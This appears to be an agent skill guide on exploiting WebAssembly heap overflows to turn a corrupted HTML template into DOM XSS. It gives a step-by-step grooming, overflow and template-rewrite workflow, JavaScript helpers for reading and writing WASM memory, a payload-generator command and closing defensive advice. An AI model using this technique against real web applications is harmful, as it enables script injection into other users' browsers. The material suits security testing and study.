WebAssembly Linear Memory Corruption to DOM XSS
This skill guides you through exploiting memory corruption vulnerabilities in WebAssembly modules to bypass XSS filters. The core technique corrupts writable constants in WASM linear memory (like HTML templates) instead of attacking sanitized input directly.
When to Use This Skill
Use this skill when:
- Investigating web applications that use WebAssembly modules (especially Emscripten-compiled)
- XSS filters are in place but you suspect memory corruption vulnerabilities
- You need to understand WASM memory layout and exploitation techniques
- Debugging WASM applications in Chrome DevTools
- Analyzing Emscripten glue code and Module.cwrap calls
Core Concept
In WebAssembly:
- Code lives in non-writable executable pages
- Data (heap, stack, globals, "constants") lives in writable linear memory (64KB pages)
- Buggy C/C++ code can write out-of-bounds and overwrite adjacent objects
- If a constant string used for HTML templating is corrupted, sanitized input becomes executable JavaScript
Vulnerability Pattern
Typical Data Model
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Vulnerable Logic
addMsg(): Allocates buffer sized to sanitized input, appends to array, doubles capacity withrealloc()when needededitMsg(): Re-sanitizes andmemcpy()s new bytes without checking if new length ≤ old allocation → heap overflowpopulateMsgHTML(): Formats sanitized text with a template string in linear memory, returns HTML to DOM sink
Exploitation Workflow
Step 1: Reconnaissance
- Identify WASM usage: Look for
.wasmfiles,Module.cwrapcalls, Emscripten glue code - Find memory corruption primitives: Heap overflow, UAF, unchecked
memcpy, buffer overflows - Locate HTML templates: Search for format strings like
<article><p>%.*s</p></article>in linear memory
Step 2: Chrome DevTools Setup
// Break on first Module.cwrap call and step into WASM call site
// Capture pointer arguments (numeric offsets into linear memory)
// Use typed views to read/write WASM memory
Module.HEAPU8[ptr] // Read/write single byte
Module.HEAPU8.subarray(ptr, ptr + len) // Read byte range
Step 3: Memory Grooming
Send enough messages to trigger realloc() and ensure the message array (s->mess) is adjacent to user buffers in linear memory:
// Add N small messages to exceed initial capacity
// After growth, realloc() often places s->mess immediately after the last user buffer
Step 4: Overflow and Pointer Corruption
Overflow the last message via editMsg() with a longer payload to overwrite entries in s->mess:
// Set msg_data of message 0 to point at (stub_addr + 1)
// The +1 skips the leading '<' to keep tag alignment intact
Step 5: Template Rewrite
Edit message 0 so its bytes overwrite the HTML template:
// Original: "<article><p>%.*s</p></article>"
// Overwrite with: "img src=1 "
Step 6: Trigger XSS
Add a new message with JavaScript content:
// Content: "alert(1337)"
// Result: <img src=1 executes immediately
Helper Functions
Memory Search
function searchWasmMemory(str) {
const mem = Module.HEAPU8;
const pat = new TextEncoder().encode(str);
for (let i = 0; i < mem.length - pat.length; i++) {
let ok = true;
for (let j = 0; j < pat.length; j++) {
if (mem[i + j] !== pat[j]) { ok = false; break; }
}
if (ok) console.log(`Found "${str}" at memory address:`, i);
}
return -1;
}
Byte Manipulation
function writeBytes(ptr, byteArray) {
if (!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for (let i = 0; i < byteArray.length; i++) {
const byte = byteArray[i];
if (typeof byte !== "number" || byte < 0 || byte > 255) {
throw new Error(`Invalid byte at index ${i}: ${byte}`);
}
HEAPU8[ptr + i] = byte;
}
}
function readBytes(ptr, len) {
return Array.from(HEAPU8.subarray(ptr, ptr + len));
}
function readBytesAsChars(ptr, len) {
const bytes = HEAPU8.subarray(ptr, ptr + len);
return Array.from(bytes).map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.').join('');
}
// Little-endian bytes to int
const bytesToInt = (bytes) => bytes.reduce((acc, b, i) => acc + (b << (8 * i)), 0);
Exploit Payload Generation
Use the generate-exploit-payload.py script to create serialized action lists:
python scripts/generate-exploit-payload.py \
--groom-count 11 \
--overflow-msg-id 10 \
--template-addr 0x12345 \
--xss-payload "alert(1337)"
This generates a JSON action list that can be Base64-encoded and placed in URL parameters.
Defensive Guidance
For Developers
- Validate lengths in edit paths: Verify new length ≤ capacity; resize buffers before copy
- Use size-bounded APIs:
snprintf,strlcpy,memcpywith explicit bounds - Keep templates immutable: Store HTML templates in read-only memory or integrity-check before use
- Treat JS↔WASM boundaries as untrusted: Validate pointer ranges/lengths, fuzz exported interfaces
- Sanitize at the sink: Avoid building HTML in WASM; prefer safe DOM APIs over
innerHTML - Cap memory growth: Limit WASM memory expansion to prevent excessive allocation
For Security Teams
- Fuzz WASM interfaces: Test exported functions with malformed inputs
- Monitor memory patterns: Look for unusual
realloc()sequences or pointer values - Code review WASM glue: Check Emscripten bindings for unsafe patterns
- Use memory-safe languages: Consider Rust or other memory-safe alternatives for WASM modules
Common WASM Pitfalls
- Out-of-bounds writes/reads in linear memory
- Use-after-free on heap objects
- Function-table misuse with unchecked indirect call indices
- JS↔WASM glue mismatches (type confusion, pointer arithmetic errors)
- Unchecked
memcpy/memmoveoperations - Integer overflow in size calculations